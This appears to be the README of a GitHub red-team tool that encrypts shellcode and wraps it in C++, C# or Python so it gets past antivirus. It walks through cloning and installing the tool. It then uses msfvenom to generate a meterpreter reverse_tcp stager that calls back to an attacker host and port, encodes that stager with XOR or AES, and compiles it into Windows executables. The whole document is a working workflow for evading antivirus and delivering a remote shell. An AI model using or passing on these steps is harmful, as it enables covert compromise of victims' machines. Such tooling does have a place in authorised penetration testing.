These little proof of concept are inspired by this blogpost: Bypass antivirus with 10 lines of code

The technique uses two kind of code file:

1. The shellcode encoder/encrypter: shellcode_encoder.py
2. Various shellcode wrapper, in C++, C# and Python:
   • encryptedShellcodeWrapper.cpp - for now supports only XOR encryption
   • encryptedShellcodeWrapper.cs - supports both XOR and AES encryption
   • encryptedShellcodeWrapper.py - supports both XOR and AES encryption

Installation

Installation is straight forward:

• Git clone this repository: git clone https://github.com/Arno0x/ShellcodeWrapper ShellcodeWrapper
• cd into the ShellcodeWrapper folder: cd ShellcodeWrapper
• Install requirements using pip install -r requirements.txt
• Give the execution rights to the main script: chmod +x shellcode_encoder.py

Usage

First, you need to obtain a usable shellcode from metasploit (run it from a Kali distribution), for example:

root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw > shellcode.raw

In this example, the output is a raw (unencoded & unencrypted) reverse_tcp meterpreter stager for x86 platform. You should adapt it to your needs (payload and parameters).

Second, run the shellcode_encoder.py script along with the desired arguments:

• raw shellcode filename
• encryption key
• encryption type: xor or aes
• desired output: base64, cpp, csharp, python

For instance, to xor encrypt the shellcode with the key 'thisismykey' and get an output code file in C#, C++ and Python:

root@kali:~# ./shellcode_encoder.py -cpp -cs -py shellcode.raw thisismykey xor

This will generate C#, C++ and Python code file in the result folder. Those files are ready to use/compile.

Eventually:

1. For the C++ wrapper, compile the C++ code file into a Windows executable: you can create a new VisualStudio project for Win32 console application and use the C++ code provided as the main file. Any other method of compilation will require slight adjustment of the C++ code (headers mostly).
2. For the C# wrapper, compile the C# code file into a Windows executable: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:multibyteEncodeShellcode.exe multibyteEncodeShellcode.cs
3. For the Python wrapper, just run it as a python script, or use PyInstaller to make it a Windows standalone executable
